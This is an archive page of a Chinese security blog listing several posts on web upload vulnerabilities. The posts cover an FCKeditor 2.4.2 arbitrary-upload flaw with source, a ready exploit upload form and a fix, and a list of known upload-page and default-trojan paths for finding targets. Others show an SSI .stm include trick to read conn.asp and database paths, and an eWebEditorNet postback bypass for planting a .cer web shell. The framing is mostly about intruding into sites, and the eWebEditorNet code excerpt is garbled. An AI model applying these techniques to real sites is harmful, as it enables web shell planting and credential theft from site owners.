存档

文章标签 ‘上传漏洞’

动网多个版本上传漏洞

2009年9月29日 1 条评论 411 views

利用的还是IIS的文件名解析漏洞.
影响版本:
Powered By Dvbbs Version 8.2.0
Powered By Dvbbs Version 8.1.0
Powered By Dvbbs Version 8.0.0
利用方法:
阅读全文...

Fckeditor 2.4.2 php任意上传文件漏洞

2009年7月24日 没有评论 220 views

1、漏洞描述
    fckeditor/editor/filemanager/upload/php/upload.php

<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* This is the "File Uploader" for PHP.
*/

require('config.php') ;
require('util.php') ;

// This is the function that sends the results of the uploading process.
function SendResults( $errorNumber, $fileUrl = '', $fileName = '', $customMsg = '' )
{
echo '<script type="text/javascript">' ;
echo 'window.parent.OnUploadCompleted(' . $errorNumber . ',"' . str_replace( '"', '\\"', $fileUrl ) . '","' . str_replace( '"', '\\"', $fileName ) . '", "' . str_replace( '"', '\\"', $customMsg ) . '") ;' ;
echo '</script>' ;
exit ;
}

// Check if this uploader has been enabled.
if ( !$Config['Enabled'] )
SendResults( '1', '', '', 'This file uploader is disabled. Please check the "editor/filemanager/upload/php/config.php" file' ) ;

// Check if the file has been correctly uploaded.
if ( !isset( $_FILES['NewFile'] ) || is_null( $_FILES['NewFile']['tmp_name'] ) || $_FILES['NewFile']['name'] == '' )
SendResults( '202' ) ;

// Get the posted file.
$oFile = $_FILES['NewFile'] ;

// Get the uploaded file name extension.
$sFileName = $oFile['name'] ;

// Replace dots in the name with underscores (only one dot can be there... security issue).
if ( $Config['ForceSingleExtension'] )
$sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;

$sOriginalFileName = $sFileName ;

// Get the extension.
$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
$sExtension = strtolower( $sExtension ) ;

// The the file type (from the QueryString, by default 'File').
$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;

// Check if it is an allowed type.
if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
    SendResults( 1, '', '', 'Invalid type specified' ) ;

// Get the allowed and denied extensions arrays.
$arAllowed = $Config['AllowedExtensions'][$sType] ;
$arDenied = $Config['DeniedExtensions'][$sType] ;

// Check if it is an allowed extension.
if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )
SendResults( '202' ) ;

$sErrorNumber = '0' ;
$sFileUrl   = '' ;

// Initializes the counter used to rename the file, if another one with the same name already exists.
$iCounter = 0 ;

// Get the target directory.
if ( isset( $Config['UserFilesAbsolutePath'] ) && strlen( $Config['UserFilesAbsolutePath'] ) > 0 )
$sServerDir = $Config['UserFilesAbsolutePath'] ;
else
$sServerDir = GetRootPath() . $Config["UserFilesPath"] ;

if ( $Config['UseFileType'] )
$sServerDir .= $sType . '/' ;

while ( true )
{
// Compose the file path.
$sFilePath = $sServerDir . $sFileName ;

// If a file with that name already exists.
if ( is_file( $sFilePath ) )
{
   $iCounter++ ;
   $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
   $sErrorNumber = '201' ;
}
else
{
   move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;

   if ( is_file( $sFilePath ) )
   {
    $oldumask = umask(0) ;
    chmod( $sFilePath, 0777 ) ;
    umask( $oldumask ) ;
   }

   if ( $Config['UseFileType'] )
    $sFileUrl = $Config["UserFilesPath"] . $sType . '/' . $sFileName ;
   else
    $sFileUrl = $Config["UserFilesPath"] . $sFileName ;

   break ;
}
}

SendResults( $sErrorNumber, $sFileUrl, $sFileName ) ;
?>

    fckeditor/editor/filemanager/upload/php/config.php

 

<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Configuration file for the PHP File Uploader.
*/

global $Config ;

// SECURITY: You must explicitelly enable this "uploader".
$Config['Enabled'] = false ;

// Set if the file type must be considere in the target path.
// Ex: /userfiles/image/ or /userfiles/file/
$Config['UseFileType'] = false ;

// Path to uploaded files relative to the document root.
$Config['UserFilesPath'] = '/userfiles/' ;

// Fill the following value it you prefer to specify the absolute path for the
// user files directory. Usefull if you are using a virtual directory, symbolic
// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
// Attention: The above 'UserFilesPath' must point to the same directory.
$Config['UserFilesAbsolutePath'] = '' ;

// Due to security issues with Apache modules, it is reccomended to leave the
// following setting enabled.
$Config['ForceSingleExtension'] = true ;

$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File']   = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;

$Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;

$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ;

?>

    问题主要是出在config.php文件中未对Media目录作白名单和黑名单的限制,大概是写漏了,因为在fckeditor/editor/filemanager/browser/default/connectors/php目录中的config.php文件对Media是有限制的。

<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Configuration file for the File Manager Connector for PHP.
*/

global $Config ;

// SECURITY: You must explicitelly enable this "connector". (Set it to "true").
$Config['Enabled'] = false ;


// Path to user files relative to the document root.
$Config['UserFilesPath'] = '/userfiles/' ;

// Fill the following value it you prefer to specify the absolute path for the
// user files directory. Usefull if you are using a virtual directory, symbolic
// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
// Attention: The above 'UserFilesPath' must point to the same directory.
$Config['UserFilesAbsolutePath'] = '' ;

// Due to security issues with Apache modules, it is reccomended to leave the
// following setting enabled.
$Config['ForceSingleExtension'] = true ;

$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File']   = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;

$Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;

$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ;

$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;

?>

    2、漏洞利用
    既然fckeditor/editor /filemanager/browser/default/connectors/php/config.php已经过滤了,那就只能利用 fckeditor/editor/filemanager/upload/php/config.php了。
    不过如果留意一下改配置文件,就能看到默认情况下“$Config['Enabled'] = false”,是不允许上传的;其次,看upload.php能发现,程序对上传文件夹作了比对,必须是Media,说明在windows下不影响,但在Linux下则必须是大写M的Media目录,如果是media则返回信息正常,但文件并未上传成功。
    自己写段上传脚本:

<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

    提交后查看源码就能看到上传文件的位置。
    3、漏洞修补
    最好用新版,要不就拷贝以下代码到config.php最后。

$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;

公布一批上传页查询关键

2008年10月20日 没有评论 113 views

/eWebEditor/upload.asp #eWebEditor上传页面
/editor/upload.asp #eWebEditor上传页面
/bbs/upfile.asp #动网论坛上传页面
/forum/upfile.asp #动网论坛上传页面
/dvbbs/upfile.asp #动网论坛上传页面
/upfile_soft.asp #动力管理系统上传页面
/upload.asp?action=upfile #乔客6.0上传页面
/upfile.asp #动网论坛上传页面
/bbs/down_addsoft.asp #动网论坛插件上传页面
/bbs/down_picupfile.asp #动网论坛插件上传页面
/down_picupload.asp #动网论坛插件上传页面
/admin/admin_upfile.asp #管理员后台上传页面
/admin/upfile.asp #管理员后台上传页面
/admin/upload.asp #管理员后台上传页面
/admin/uploadfaceok.asp #尘缘上传页面
/news/admin/upfile.asp #新闻管理上传页面
/admin_upfile.asp #飞龙文章管理系统

/user_upfile.asp #飞龙文章管理系统
/upload_flash.asp #秋叶购物商城上传页面
/Saveannounce_upload.asp #购物中心上传页面
/UploadFace.asp #沸腾展望新闻系统

/bbs/diy.asp #Domian3.0默认木马
/UploadSoft/diy.asp #Domian3.0 默认木马
/diy.asp #Domian3.0默认木马
/upload/upload.asp #某某文章管理系统
/mybbs/saveup.asp #MYBBS论坛上传页面
/dxxobbs/upload.asp #DxxoBBS论坛上传页面
/img_upfile.asp #任我飞扬驿站上传页面
/Upfile_SoftPic.asp #动力管理系统上传页面
/upfile_flash.asp #秋叶购物商城上传页面

 

分类: 资源共享 标签:

当网站不允许上传asp cer cdx htr文件时的一个解决方法

2008年10月18日 没有评论 61 views

一段代码:
<!--#ECHO var="ALL_HTTP"--><br>

当前文件名称:<!--#ECHO var="DOCUMENT_NAME"--><br><br>
Web服务器的名称和版本:<!--#ECHO  
var="SERVER_SOFTWARE"--><br>
主机名:<!--#ECHO var="SERVER_NAME"--><br>
端口:<!--#ECHO var="SERVER_PORT"--><br>
客户或客户代理IP地址:<!--#ECHO var="REMOTE_ADDR"--><br>
客户或客户代理主机名:<!--#ECHO var="REMOTE_HOST"--><br>
PATH_INFO  
的值,但带有扩展为某个目录规范的虚拟路径:<!--#ECHO  
var="PATH_TRANSLATED"--><br>
客户端给出附加路径信息:<!--#ECHO var="PATH_INFO"--><br>
<!--#ECHO var="HTTP_ACCEPT"--><br>
<!--#ECHO var="DOCUMENT_URI"--><br>

说保存为stm或者shtml看看,运行如下:
HTTP_ACCEPT:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* HTTP_ACCEPT_LANGUAGE:zh-cn HTTP_CONNECTION:Keep-Alive HTTP_HOST:localhost HTTP_USER_AGENT:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322) HTTP_COOKIE:nbblastactivity=1100263629; bblastvisit=1100264583; bblastactivity=1100265530; bbuserid=1; bbpassword=0f8514d1ed2eaa91fb9a87a568f6c96f; ASPSESSIONIDAQTSDRQQ=JOGDCEBDCNKFMLGDNFHPDHMJ HTTP_ACCEPT_ENCODING:gzip, deflate  
当前文件名称:F:\Web\1.stm
Web服务器的名称和版本:Microsoft-IIS/5.0
主机名:localhost
端口:80
客户或客户代理IP地址:127.0.0.1
客户或客户代理主机名:127.0.0.1
PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路径:F:\Web\1.stm
客户端给出附加路径信息:/1.stm
image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
一直不解!
今天在幻影旅团看到了一段话

当网站不允许上传
asp cer cdx htr等文件时, 上传一个stm文件, 内容为:
<!--#include file="conn.asp"-->
直接请求这个stm文件, conn.asp就一览无遗, 数据库路径也就到手啦!
并且又看了那篇shtml的介绍后,恍然大悟,终于明白了!
原来就是如上所说的,
<!--#include file="conn.asp"-->
  就是一条SSI指令,其作用是将"info.htm"的内容拷贝到当前的页面中,当访问者来浏览时,会看到其它HTML文档一样显示info.htm其中的内容。
我在本地试验成功!在我的iis目录下建了一个test.stm文件,内容为:
<!--#include file="ok.asp"-->
又在同一目录下放了一个我的一个木马文件ok.asp
在浏览器中请求test.stm,没有什么反映,一片空白。
但是一查看源代码,狂晕,原来就是我的asp文件的内容!
这样我们就可以利用这个来获取要入侵的web的conn文件来获得数据库路径,
但是一个前提是服务器的对stm或者shtml的扩展没有删除!
 

分类: 技术文章 标签:

eWebEditorNet 漏洞 upload.aspx

2008年10月10日 没有评论 128 views

eWebEditorNet 主要是一个upload.aspx文件存在上传漏洞。

原理:

代码

<form id="post" encType="server">    
"uploadfile" style="file" size="uploadfile" runat=
"lbtnUpload" runat=
"JavaScript">

只是简单的对ID进行验证
只要构造javascript:lbtnUpload.click();满足条件
达到上传木马的效果
成功以后查看源代码

代码

a "lbtnUpload" "javascript:__doPostBack('lbtnUpload','')"</>script 'javascript'</>  

木马的具体地址为
/eWebEditorNet/UploadFile/200801141044412198.cer
这样就轻松的拿下了一个网站。
 

分类: 技术文章 标签: